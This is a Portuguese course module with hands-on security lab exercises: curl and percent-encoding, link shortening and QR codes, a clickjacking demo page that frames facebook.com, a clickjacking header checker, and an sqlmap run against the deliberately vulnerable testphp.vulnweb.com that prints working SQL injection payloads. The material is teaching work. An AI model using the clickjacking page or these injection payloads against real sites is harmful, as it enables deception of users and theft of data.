Módulo 6 - Aulas 3 e 4

Tarefas

No final deste módulo você deve submeter em um ÚNICO arquivo PDF os seguintes prints:

- Atividade 6.6: passo 6.
- Atividade 6.7: passo 5.
- Atividade 6.8: passo 9.
- Atividade 6.9: passo 4.
- Atividade 6.10: passo 11.

Regras para a elaboração do documento:

1. Antes de cada Print, adicione obrigatoriamente uma frase explicativa que sinalize do que se trata o print. A inserção de prints sem a devida frase explicativa será considerada como tentativa de atrapalhar a correção do instrutor e será penalizada a critério do instrutor. Exemplo:

Print da atividade 6.6: [Imagem com o Print]

2. Os Prints devem ser tirados da TELA CHEIA. Quando tirados da VM da AWS, devem ser capturados **obrigatoriamente** da tela cheia clicando no botão “Screenshot” → “Take screenshot” da barra de ferramentas do Hypervisor da AWS.
3. Insira **somente a quantidade de Prints solicitados por atividade** usando exclusivamente 1 página por print. **A página do documento onde você vai inserir o Print deve estar com a orientação no modo PAISAGEM** ´para termos melhor aproveitamento do espaço. Ou seja, seu documento deverá ter a mesma quantidade de páginas que a quantidade do total de Prints! A inserção de prints desnecessários será considerada como tentativa de atrapalhar a correção do instrutor e será penalizada com nota 0.

4. Apresente Prints legíveis e com tamanho correto para fácil leitura. O envio de prints com letras minúsculas poderá ser considerado como tentativa de atrapalhar a correção do instrutor e será penalizada a critério do instrutor.

Atividade 6.6 – Explorando solicitações HTTP e Codificação Percentual no Kali Linux

Nesta atividade, vamos usar o Kali Linux para fazer solicitações HTTP, transferir dados com servidores remotos e explorar a Codificação Percentual no HTTP.

Vamos começar inicializando nosso Kali Linux via RDP ao IP: 192.168.98.40, com usuário “aluno” e senha “rnpesr”.

1. Abra o Terminal e execute o seguinte comando (com senha “rnpesr”) para ser super usuário:

```
┌──(aluno㉿kali)-[~]
└─$ sudo -i
[sudo] senha para aluno:
```

2. O comando curl no terminal do Kali Linux é uma ferramenta poderosa que permite fazer solicitações HTTP e transferir dados com servidores remotos. O curl é amplamente utilizado para diversas finalidades, incluindo o download de arquivos, testes de conectividade, depuração de APIs e muito mais. Para testar o comando curl, execute o seguinte comando:

```
┌──(root㉿kali)-[~]
└─# curl https://www.example.com
<!doctype html>
<html>
<head>
    <title>Example Domain</title>

    <meta charset="utf-8" />
    <meta http-equiv="Content-type" content="text/html; charset=utf-8"
/>
    <meta name="viewport" content="width=device-width, initial-scale=1"
/>
    <style type="text/css">
    body {
        background-color: #f0f0f2;
        margin: 0;
        padding: 0;
        font-family: -apple-system, system-ui, BlinkMacSystemFont,
"Segoe UI", "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-
serif;

    }
    div {
        width: 600px;
        margin: 5em auto;
        padding: 2em;
        background-color: #fdfdff;
        border-radius: 0.5em;
        box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);
    }
    a:link, a:visited {
        color: #38488f;
        text-decoration: none;
    }
    @media (max-width: 700px) {
        div {
            margin: 0 auto;
            width: auto;
        }
    }
    </style>
</head>

<body>
<div>
    <h1>Example Domain</h1>
    <p>This domain is for use in illustrative examples in documents.
You may use this
```

```
You may use this
    domain in literature without prior coordination or asking for
permission.</p>
    <p><a href="https://www.iana.org/domains/example">More
information...</a></p>
</div>
</body>
</html>
```

Veja que o código HTML foi apresentado no Terminal.

3. O curl é frequentemente usado para fazer downloads de arquivos da web. Basta fornecer a URL do arquivo que deseja baixar, e o curl fará o download para o seu sistema:

```
┌──(root㉿kali)-[~]
└─# cd /home/aluno/Documentos

┌──(root㉿kali)-[/home/aluno/Documentos]
└─# ls

┌──(root㉿kali)-[/home/aluno/Documentos]
└─# curl -o output.html https://www.example.com
  % Total    % Received % Xferd  Average Speed   Time    Time     Time
Current
                                 Dload  Upload   Total   Spent    Left
Speed
100  1256  100  1256    0     0   1805      0 --:--:-- --:--:--
--:--:--  1820

┌──(root㉿kali)-[/home/aluno/Documentos]
└─# ls
output.html
```

A explicação dos comandos mostrados acima é:

- **cd /home/aluno/Documentos**: Você usou o comando cd para mudar o diretório de trabalho atual para "/home/aluno/Documentos". Isso significa que agora você está dentro desse diretório e quaisquer comandos que você execute serão aplicados a ele.
- **ls**: Você usou o comando ls para listar o conteúdo do diretório "/home/aluno/Documentos ". No exemplo, parece que o diretório está vazio, pois não há saída visível.

- **curl -o output.html https://www.example.com**: Você usou o comando curl para fazer uma solicitação HTTP para o site "https://www.example.com" e salvar a saída no arquivo "output.html" no diretório "/home/aluno/Documentos ". O -o é uma opção que especifica o nome do arquivo de saída. Após a execução do comando, você fez o download da página do site de exemplo e a salvou no arquivo "output.html" no diretório Documentos.
- **ls**: Você usou o comando ls novamente para listar o conteúdo do diretório "/home/aluno/Documentos ". Agora, você vê o arquivo "output.html" listado, o que significa que o arquivo foi criado com sucesso no diretório.

4. Agora, abra o Thunar (clique em “Aplicativos” → “Gerenciador de arquivos”, navegue até "/home/aluno/Documentos " e com 2 cliques abra o arquivo "output.html". Veja que esse arquivo contém o site "output.html" e é aberto no Firefox. Feche o Firefox e o Thunar.
5. Para usar o Curl e fazer uma solicitação HTTP com codificação de percentagem no site do Google, você pode construir uma URL com parâmetros codificados. Aqui está um exemplo de como fazer isso pesquisando pelo termo "Olá, mundo!" no Google (volte ao Terminal):

```
┌──(root㉿kali)-[/home/aluno/Documentos]
└─# curl "https://www.google.com/search?q=Ol%C3%A1%2C%20mundo%21"

<!DOCTYPE html><html lang="en"><head><title>Google Search</
title><style>body{background-color:#fff}</style><script
nonce="gJUSZs8NwY5158WmwLfQAw">window.google = window.google ||
{};window.google.c = window.google.c || {ezx:false,cap:0};</script></
head><body><noscript><style>table,div,span,p{display:none}</style><meta
content="0;url=/httpservice/retry/enablejs?sei=diLbaMuJGqqo5NoPsKfi8Qc"
http-equiv="refresh"><div style="display:block">Please click <a href="/
httpservice/retry/enablejs?sei=diLbaMuJGqqo5NoPsKfi8Qc">here</a> if you
are not redirected within a few seconds.</div></noscript><script
nonce="gJUSZs8NwY5158WmwLfQAw">(function(){var sctm=false;(function()
{sctm&&google.tick("load","pbsst");}).call(this);})();</script><script
nonce="gJUSZs8NwY5158WmwLfQAw">//# sourceMappingURL=data:application/
json;charset=utf-8;base64,eyJ2ZXJzaW9uIjogMywic291cmNlcyI6WyIiXSwic291c
mNlc0NvbnRlbnQiOlsiICJdLCJuYW1lcyI6WyJjbG9zdXJlRHluYW1pY0J1dHRvbiJdLCJt
YXBwaW5ncyI6IkFBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEifQ==
(function(){var b=function(A,m,T,t,w,H,z,c,O,d){for(O=26;O!
=93;)if(O==60){if(c=(z=t,X.trustedTypes),c&&c.createPolicy)
{try{z=c.createPolicy(H,
{createHTML:n,createScript:n,createScriptURL:n})}catch(Z)
{if(X.console)X.console[w](Z.message)}d=z}else d=z;O=96}
else{if(O==96)return d;O==2?O=(T|3)>>3>=2&&(T^17)<21?38:42:O==38?
(d=t,O=42):O==42?O=(T^6)>>m<2&&(T<<A&6)>=4?
60:96:O==26&&(O=2)}},n=function(A){return
b.call(this,1,5,16,A)},X=this||self;(0,eval)(function(A,m){while(8)
{return(m=b(1,5,3,null,"error","ks"))&&A.eval(m.createScript("1"))===1?
function(T){return m.createScript(T)}:function(T)
{return""+T};if(0==false)break}}(X)(Array(Math.random()*7824|
0).join("\n")+['//# sourceMappingURL=data:application/
json;charset=utf-8;base64,eyJ2ZXJzaW9uIjogMywic291cmNlcyI6WyIiXSwic291c
mNlc0NvbnRlbnQiOlsiICJdLCJuYW1lcyI6WyJjbG9zdXJlRHluYW1pY0J1dHRvbiJdLCJt
YXBwaW5ncyI6IkFBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEifQ==',
'(function(){/*',
'',
' Copyright Google LLC',
' SPDX-License-Identifier: Apache-2.0',
'*/',

...
```

Neste exemplo:

curl é o comando para fazer uma solicitação HTTP. **"https://www.google.com/search?q=Ol%C3%A1%2C%20mundo%21**" é a URL que você deseja solicitar. Ela inclui um parâmetro GET "q" com o valor "Ol%C3%A1%2C%20mundo%21". Os códigos "%C3%A1" e "%21" representam a codificação de percentagem para os caracteres acentuados "á" e o ponto de exclamação "!".

6. Finalmente, vamos testar a seguinte URL no navegador. Abra o Firefox (clique em “Aplicativos” → “Navegador web”) e cole na barra de navegação (**NÃO SE ESQUEÇA DE PRINTAR ESTE PASSO!**):

```
https://www.google.com/search?q=Ol%C3%A1%2C%20mundo%21
```

Veja que o resultado é a pesquisa no Google do texto “Olá, mundo!”.

7. Apague o arquivo "output.html". Feche o Firefox e o Terminal:

```
┌──(root㉿kali)-[/home/aluno/Documentos]
└─# ls
output.html

┌──(root㉿kali)-[/home/aluno/Documentos]
└─# rm output.html
```

Parabéns! Agora você sabe como fazer requisições HTTP e aplicar a codificação percentual!

Atividade 6.7 – Encurtando Links e Gerando QR Code no Kali Linux

Nesta atividade, vamos usar o Kali Linux para encurtar qualquer link e gerar o QR Code respectivo para acessar esse site.

Vamos começar inicializando nosso Kali Linux via RDP ao IP: 192.168.98.40, com usuário “aluno” e senha “rnpesr”.

1. Abra o Terminal e execute o seguinte comando (com senha “rnpesr”) para ser super usuário:

```
┌──(aluno㉿kali)-[~]
└─$ sudo -i
[sudo] senha para aluno:
```

2. O comando curl fará uma solicitação HTTP para o serviço "tinyurl.com" e criará uma URL encurtada para a URL https://esr.rnp.br/cursos/?_formacao_cursos=seguranca

```
┌──(root㉿kali)-[~]
└─# curl -s -i https://tinyurl.com/api-create.php?url=https://
esr.rnp.br/cursos/?_formacao_cursos=seguranca
HTTP/2 200
date: Sun, 11 Feb 2024 01:16:28 GMT
content-type: text/plain; charset=UTF-8
cache-control: max-age=86400, public
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
last-modified: Sun, 11 Feb 2024 01:16:28 GMT
cf-cache-status: MISS
set-cookie:
__cf_bm=5NBi9lCZxPG_WViAebyvYj7f.7bCxcjdVoWgL.a2.tQ-1707614188-1-
AVuL8OpvDDAFN+TIuNaWtivxDMVJe6h/
X61BgLiJ7KXFbXMBsERBISM7g7aZxZJ+weYUXMmS2X97U9GuyijoxiU=; path=/;
expires=Sun, 11-Feb-24 01:46:28 GMT; domain=.tinyurl.com; HttpOnly;
Secure; SameSite=None
strict-transport-security: max-age=31536000; includeSubDomains; preload
server: cloudflare
cf-ray: 8538bf24ba5b0a05-IAD
alt-svc: h3=":443"; ma=86400

http://tinyurl.com/27ldrg4o
```

O comando mostrado acima conta com os seguintes parâmetros:

- **curl -s -i https://tinyurl.com/api-create.php?url=https://tinyurl.com/api-create.php?url=https://esr.rnp.br/cursos/?_formacao_cursos=seguranca**: Neste comando, você usou o curl para fazer uma solicitação HTTP para a URL "https://tinyurl.com/api-create.php?url=https://esr.rnp.br/cursos/?_formacao_cursos=seguranca".
- **HTTP/2 200**: A resposta que você recebeu do servidor "tinyurl.com" possui o código de status HTTP 200, o que indica uma resposta bem-sucedida.

- **https://tinyurl.com/yqzkp48m**: No corpo da resposta, você encontra o URL encurtado gerado. Neste caso, o URL encurtado para "https://tinyurl.com/api-create.php?url=https://esr.rnp.br/cursos/?_formacao_cursos=seguranca" é "http://tinyurl.com/27ldrg4o".

3. Abra o Mozilla Firefox (clique em “Aplicativos” → “Navegador web”) e teste o site encurtado encontrado no passo anterior:

```
https://tinyurl.com/27ldrg4o
```

4. Agora, vamos usar a ferramenta qrencode para criar um código QR a partir da URL encurtada https://tinyurl.com/27ldrg4o na pasta Documentos:

```
┌──(root㉿kali)-[~]
└─# cd /home/aluno/Documentos

┌──(root㉿kali)-[/home/aluno/Documentos]
└─# ls

┌──(root㉿kali)-[/home/aluno/Documentos]
└─# qrencode -o qr_code.png "https://tinyurl.com/27ldrg4o"

┌──(root㉿kali)-[/home/aluno/Documentos]
└─# ls
qr_code.png
```

O comando mostrado acima conta com os seguintes parâmetros:

- **qrencode**: É o comando que chama a ferramenta qrencode para gerar o código QR.
- **-o qr_code.png**: A opção -o é usada para especificar o nome do arquivo de saída que conterá o código QR. Neste caso, o nome do arquivo de saída é "qr_code.png".
- **"https://tinyurl.com/27ldrg4o"**: Esta é a URL que você deseja codificar no código QR. O qrencode criará um código QR que, quando lido por um leitor de código QR, levará o usuário a esta URL.

5. Abra o Thunar (clique em “Aplicativos” → “Gerenciador de arquivos”) e navegue até a pasta “/home/aluno/Documentos/” e visualize/abra o QR Code que foi gerado (**NÃO SE ESQUEÇA DE PRINTAR ESTE PASSO!**). Caso queira, pode acessar o site lendo o QR Code com seu celular.
6. Apague o QR Code e feche o Visualizador de imagens, o Thunar e o Terminal:

```
┌──(root㉿kali)-[/home/aluno/Documentos]
└─# rm qr_code.png
```

Parabéns! Agora você sabe como encurtar links e gerar QR Codes no Kali Linux!

Atividade 6.8 – Conhecendo o ataque Clickjacking

Nesta atividade, vamos usar o Kali Linux para criar um arquivo html e explorar o ataque Clickjacking.

Vamos começar inicializando nosso Kali Linux via RDP ao IP: 192.168.98.40, com usuário “aluno” e senha “rnpesr”.

1. O ataque Clickjacking será ilustrado da seguinte maneira:

- Um visitante é atraído para a página maliciosa, não importa como.
- A página possui um link que parece inofensivo (como "fique rico agora" ou "clique aqui, muito engraçado").
- Sobre esse link, a página maliciosa posiciona um < iframe> transparente com a origem do facebook.com, de tal maneira que esse site poderá ser aberto.
- Ao tentar clicar no link, o visitante na verdade clica no botão do Facebook.

2. Abra o programa Editor de Texto Mousepad (clique em “Aplicativos” → “Aplicações habituais” → “Acessórios” → “Editor de Texto”) e cole:

```
<!doctype html>
<html>

<head>
  <meta charset="UTF-8">
</head>

<body>

  <style>
    iframe {
      width: 400px;
      height: 100px;
      position: absolute;
      top: 5px;
      left: -14px;
      opacity: 1;
      z-index: 1;
    }
  </style>

  <div>Click to get rich now:</div>

  <!-- The url from the victim site -->
  <iframe src="https://www.facebook.com"></iframe>

  <button>Click here!</button>

  <div>...And you're cool (I'm a cool hacker actually)!</div>

</body>
</html>
```

No código mostrado acima, temos no elemento < iframe>:

- **width: 400px;**: Isso define a largura do < iframe> como 400 pixels. O < iframe> será exibido com uma largura de 400 pixels.
- **height: 100px;**: Isso define a altura do < iframe> como 100 pixels. O < iframe> será exibido com uma altura de 100 pixels.
- **position: absolute;**: Isso define a posição do < iframe> como "absoluta". Isso significa que o elemento será posicionado em relação ao elemento pai mais próximo com uma posição definida (em vez de seguir o fluxo normal do documento).

- **top: 5px;**: Isso define a distância entre a parte superior do < iframe> e o elemento pai mais próximo com posição definida como 5 pixels. O < iframe> será deslocado verticalmente 5 pixels para baixo a partir da posição normal.
- **left: -14px;**: Isso define a distância entre a esquerda do < iframe> e o elemento pai mais próximo com posição definida como -14 pixels. O < iframe> será deslocado horizontalmente 14 pixels para a esquerda a partir da posição normal.
- **opacity: 1;**: Isso define a opacidade do < iframe> como 1, o que significa que o elemento é completamente visível para o usuário (não é transparente). Uma opacidade de 1 representa 100% de visibilidade, fazendo com que o ataque não seja implementado porque não perceberá a transparência que oculta o link malicioso.
- **z-index: 1;**: Isso define a propriedade z-index do <iframe como 1. O z-index controla a pilha de elementos na página. Um valor mais alto de z-index coloca o elemento acima de elementos com um valor mais baixo de z-index. Neste caso, o < iframe> tem um valor de z-index de 1, o que o posiciona em uma camada superior em relação a elementos com z-index mais baixo.

3. Salve o texto do item anterior com o nome “teste.html” na pasta /home/aluno/Documentos/ apertando em “Arquivo” → “Salvar como” → “Documentos” (não se esqueça de mudar a seleção de “Arquivos de Texto” para “Todos os arquivos”).
4. No canto superior esquerdo, abra o explorador de arquivos Thunar (clique em “Aplicativos” → “Gerenciador de arquivos”) e navegue até o arquivo “teste.html” na pasta “Documentos”.
5. Abra o arquivo “teste.html” (clique 2 vezes nele) e veja que não há texto visível no site aberto pelo Firefox, apenas um retângulo preto.
6. Volte ao arquivo de texto no item 2 (Mousepad) e mude a linha que contém “opacity: 1;” por “opacity: 0;”. Salve o arquivo e recarregue o site no Mozilla Firefox. Veja que agora o elemento de fundo preto desaparece e o texto com botão é mostrado.
7. Ao clicar no botão mostrado, o navegador não encaminha para o site do Facebook. Isso porque a versão do navegador (128.14.0esr) não conta com essa vulnerabilidade.

8. Volte ao arquivo de texto no item 2 (Mousepad) e mude a linha que contém “opacity: 0;” por “opacity: 0.5;”. Salve o arquivo e recarregue o site no Mozilla Firefox. Veja que agora o elemento oculto que reencaminha ao Facebook é parcialmente visível (botão “Click here!”) e ainda conta com uma proteção do Firefox para não abrir o link do Facebook.
9. Volte ao arquivo de texto no item 2 e mude a linha que contém “opacity: 0.5;” por “opacity: 0.03;”. Salve o arquivo e recarregue o site no Mozilla Firefox. Veja que agora o elemento oculto que reencaminha ao Facebook é praticamente invisível, ainda conta com a proteção (**NÃO SE ESQUEÇA DE PRINTAR ESTE PASSO!**).
10. A proteção pode ser burlada e o link aberto por um usuário descuidado clicando com direito → “This Frame” → “Show Only This Frame”.
11. Feche o Firefox, o Editor de Texto Mousepad e o Gerenciador de arquivos Thunar. Na barra de navegação inferior, abra o Terminal, navegue até a pasta Documentos e apague o arquivo “Teste.htm.”:

```
┌──(aluno㉿kali)-[~]
└─$ sudo -i
[sudo] senha para aluno:

┌──(aluno㉿kali)-[~]
└─$ cd /home/aluno/Documentos

┌──(aluno㉿kali)-[~/Documentos]
└─$ rm teste.html
```

12. Encerre a conexão RDP e Interrompa a sessão da VM da AWS porque a próxima atividade será no seu computador e não na VM!

Parabéns! Agora você sabe como funciona o Clickjacking!

Atividade 6.9 – Verificando sites com vulnerabilidade ao Clickjacking

Nesta atividade, vamos usar seu computador (não a VM da AWS) para explorar um site que diagnostica se outros sites são vulneráveis ao Clickjacking.

1. Abra o seu navegador e cole na barra de navegação:

```
https://clickjacker.io/
```

2. No site aberto, veja que há um campo para inserir um site para ser testado e também os seguintes resultados:

- **Endereço IP (IP Address)**: Isso indica o endereço IP associado ao site. Cada site na internet é hospedado em um servidor que possui um endereço IP exclusivo.
- **Tempo (Time)**: O tempo refere-se ao momento em que o teste de segurança foi realizado. Isso pode ser útil para rastrear informações sobre a segurança do site em diferentes momentos.
- **X-Frame-Options**: O cabeçalho HTTP X-Frame-Options é uma medida de segurança que controla como as páginas da web podem ser incorporadas em iframes. Ele pode ter os seguintes valores: **DENY**: Isso significa que o site não pode ser incorporado em iframes de outros domínios, o que é uma medida eficaz contra ataques de clickjacking. **SAMEORIGIN**: Isso permite que o site seja incorporado apenas em iframes do mesmo domínio. Isso também protege contra ataques de clickjacking, mas permite incorporação de iframes do mesmo domínio.
- **CSP Header (Frame-Ancestors)**: A diretiva frame-ancestors faz parte da Política de Segurança de Conteúdo (Content Security Policy, CSP). Ela controla de quais domínios o site pode ser incorporado em iframes. Os resultados mostram a configuração da diretiva frame-ancestors, que pode ser configurada para permitir ou negar a incorporação em iframes de domínios específicos.

3. Agora, vamos testar o site “esr.rnp.br” (copie e cole) no campo “Test for Clickjacking now” e clique em “TEST”. Os resultados foram:

```
Test Results:
Site:
https://esr.rnp.br
IP Address: 177.136.78.45
Time:   Tue Sep 30 2025 00:35:08 GMT+0000 (Coordinated Universal Time)
X-Frame-Options: SAMEORIGIN
CSP Header (Frame-Ancestors)    Missing anti-framing policy
```

Veja que esse site não conta com a vulnerabilidade Clickjacking:

- **X-Frame-Options**: O cabeçalho HTTP X-Frame-Options controla se o navegador deve permitir que o conteúdo do site seja incorporado em um frame ou iframe. Neste caso, o valor é "SAMEORIGIN", o que significa que o conteúdo só pode ser incorporado em um frame ou iframe se o URL de origem for o mesmo que o do site. Isso ajuda a mitigar ataques de clickjacking, limitando onde o conteúdo pode ser exibido.
- **CSP Header (Frame-Ancestors)**: Este campo indica a política de segurança de conteúdo (CSP) aplicada aos ancestrais de frames. A mensagem "Missing anti-framing policy" indica que não há uma política específica para impedir que o site seja exibido em um iframe ou frame malicioso. Isso sugere uma possível falha de segurança que poderia ser explorada para realizar ataques de clickjacking.

4. Em seguida, teste o site “www.hackthissite.org”. Os resultados foram (**NÃO SE ESQUEÇA DE PRINTAR ESTE PASSO!**):

```
Test Results:
Site:
https://www.hackthissite.org
IP Address: 137.74.187.100
Time:   Tue Sep 30 2025 00:37:18 GMT+0000 (Coordinated Universal Time)
X-Frame-Options:    Missing header
CSP Header (Frame-Ancestors)    Missing anti-framing policy
Total scans so far: 3,548,984
```

Veja que esse site conta com a vulnerabilidade Clickjacking:

- **X-Frame-Options**: O cabeçalho HTTP X-Frame-Options controla se o navegador deve permitir que o conteúdo do site seja incorporado em um frame ou iframe. Neste caso, o valor é "Contact PersonMissing header", o que indica que o cabeçalho está ausente na resposta HTTP. Isso pode permitir que o site seja vulnerável a ataques de clickjacking, pois não há uma política explícita sobre como o conteúdo pode ser incorporado em frames.

- **CSP Header (Frame-Ancestors)**: Este campo indica a política de segurança de conteúdo (CSP) aplicada aos ancestrais de frames. A mensagem "Contact PersonMissing anti-framing policy" indica que não há uma política específica para impedir que o site seja exibido em um iframe ou frame malicioso. Isso sugere uma possível falha de segurança que poderia ser explorada para realizar ataques de clickjacking.

5. Feche seu navegador.

Parabéns! Agora você sabe como testar a vulnerabilidade Clickjacking em múltiplos sites!

Atividade 6.10 – Explorando o ataque SQL Injection no Kali Linux

Nesta atividade, vamos usar o Kali Linux para obter dados sigilosos via comandos SQLmap de um site que permite ser testado.

Vamos começar inicializando nosso Kali Linux via RDP ao IP: 192.168.98.40, com usuário “aluno” e senha “rnpesr”.

1. Abra o Firefox (clique em “Aplicativos” → “Navegador web”) e digite na barra de busca (será feita uma busca no Google):

```
site:http://testphp.vulnweb.com/ php?id=
```

A parte "php?id=" é a string que está sendo procurada. Isso significa que a pesquisa visa encontrar páginas ou URLs que contenham essa sequência específica de caracteres, "php?id=". Essa busca pode ser usada para identificar páginas em um site que possam ter parâmetros de consulta, como "id", no URL e que podem ser potencialmente vulneráveis a ataques de injeção de SQL ou a outros tipos de exploração, se não forem devidamente protegidas.

2. Veja que o primeiro resultado da busca é o site http://testphp.vulnweb.com. Acesse esse site, clique em “Browse artists” e abra em uma nova aba o link do primeiro artista “r4w8173”.

3. Veja que o site aberto é http://testphp.vulnweb.com/artists.php?artist=1. Esse será nosso alvo para descobrir informações SQL.
4. Abra o Terminal e execute o seguinte comando (com senha “rnpesr”) para ser super usuário:

```
┌──(aluno㉿kali)-[~]
└─$ sudo -i
[sudo] senha para aluno:
```

5. Agora, usando o SQLmap, vamos encontrar o database. Insira o seguinte comando e aperte “y” para os 3 questionamentos:

```
┌──(root㉿kali)-[~]
└─# sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -dbs
        ___
       __H__
___ ___['']_____ ___ ___  {1.8#stable}
|_ -| . [()     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without
prior mutual consent is illegal. It is the end user's responsibility to
obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by
this program

[*] starting @ 19:59:24 /2024-02-11/

[19:59:24] [INFO] testing connection to the target URL
[19:59:24] [INFO] testing if the target URL content is stable
[19:59:25] [INFO] target URL content is stable
[19:59:25] [INFO] testing if GET parameter 'artist' is dynamic
[19:59:25] [INFO] GET parameter 'artist' appears to be dynamic
[19:59:25] [INFO] heuristic (basic) test shows that GET parameter
'artist' might be injectable (possible DBMS: 'MySQL')
[19:59:25] [INFO] testing for SQL injection on GET parameter 'artist'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test
payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL'
extending provided level (1) and risk (1) values? [Y/n] y
[19:59:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING
clause'
[19:59:36] [INFO] GET parameter 'artist' appears to be 'AND boolean-
based blind - WHERE or HAVING clause' injectable (with --string="Sed")
[19:59:36] [INFO] testing 'Generic inline queries'
[19:59:36] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE,
HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[19:59:36] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or
HAVING clause (BIGINT UNSIGNED)'
[19:59:36] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE,
HAVING, ORDER BY or GROUP BY clause (EXP)'
[19:59:36] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or
HAVING clause (EXP)'
[19:59:36] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE,
HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[19:59:36] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or
HAVING clause (GTID_SUBSET)'
[19:59:37] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE,
HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
```

```
HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[19:59:37] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or
HAVING clause (JSON_KEYS)'
[19:59:37] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE,
HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[19:59:37] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING,
ORDER BY or GROUP BY clause (FLOOR)'
[19:59:37] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE,
HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[19:59:37] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING,
ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[19:59:37] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE,
HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[19:59:37] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING,
ORDER BY or GROUP BY clause (UPDATEXML)'
[19:59:37] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE,
HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[19:59:37] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or
HAVING clause (FLOOR)'
[19:59:37] [INFO] testing 'MySQL OR error-based - WHERE or HAVING
clause (FLOOR)'
[19:59:38] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE
(EXTRACTVALUE)'
[19:59:38] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace
(BIGINT UNSIGNED)'
[19:59:38] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace
(EXP)'
[19:59:38] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace
(GTID_SUBSET)'
[19:59:38] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter
replace (JSON_KEYS)'
[19:59:38] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace
(FLOOR)'
[19:59:38] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(UPDATEXML)'
[19:59:38] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace
(EXTRACTVALUE)'
[19:59:38] [INFO] testing 'MySQL inline queries'
[19:59:38] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[19:59:39] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[19:59:39] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP
- comment)'
[19:59:39] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query
SLEEP)'
[19:59:39] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK -
comment)'
[19:59:39] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[19:59:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query
SLEEP)'
```

```
SLEEP)
[19:59:49] [INFO] GET parameter 'artist' appears to be 'MySQL >= 5.0.12
AND time-based blind (query SLEEP)' injectable
[19:59:49] [INFO] testing 'Generic UNION query (NULL) - 1 to 20
columns'
[19:59:49] [INFO] automatically extending ranges for UNION query
injection technique tests as there is at least one other (potential)
technique found
[19:59:49] [INFO] 'ORDER BY' technique appears to be usable. This
should reduce the time needed to find the right number of query
columns. Automatically extending the range for current UNION query
injection technique test
[19:59:50] [INFO] target URL appears to have 3 columns in query
[19:59:50] [INFO] GET parameter 'artist' is 'Generic UNION query (NULL)
- 1 to 20 columns' injectable
GET parameter 'artist' is vulnerable. Do you want to keep testing the
others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 56
HTTP(s) requests:
---
Parameter: artist (GET)
   Type: boolean-based blind
   Title: AND boolean-based blind - WHERE or HAVING clause
   Payload: artist=1 AND 5066=5066

   Type: time-based blind
   Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
   Payload: artist=1 AND (SELECT 6951 FROM (SELECT(SLEEP(5)))OcNh)

   Type: UNION query
   Title: Generic UNION query (NULL) - 3 columns
   Payload: artist=-9154 UNION ALL SELECT
CONCAT(0x7162767a71,0x614d4c77757359426e45586b645243546a4e486c6161786b4
55549636c4a7649707a6e506261596d,0x716b787171),NULL,NULL-- -
---
[20:00:01] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12
[20:00:01] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

[20:00:01] [INFO] fetched data logged to text files under '/
root/.local/share/sqlmap/output/testphp.vulnweb.com'

[*] ending @ 20:00:01 /2024-02-11/
```

Veja o que foi testado:

- **Testes Boolean-based Blind**: Esses testes exploram a possibilidade de injeção de SQL usando cláusulas WHERE ou HAVING. Eles tentam determinar se a aplicação responde de maneira diferente (como exibindo mensagens de erro ou resultados diferentes) com diferentes condições booleanas. Isso é útil para inferir a estrutura da tabela ou para obter informações do banco de dados.
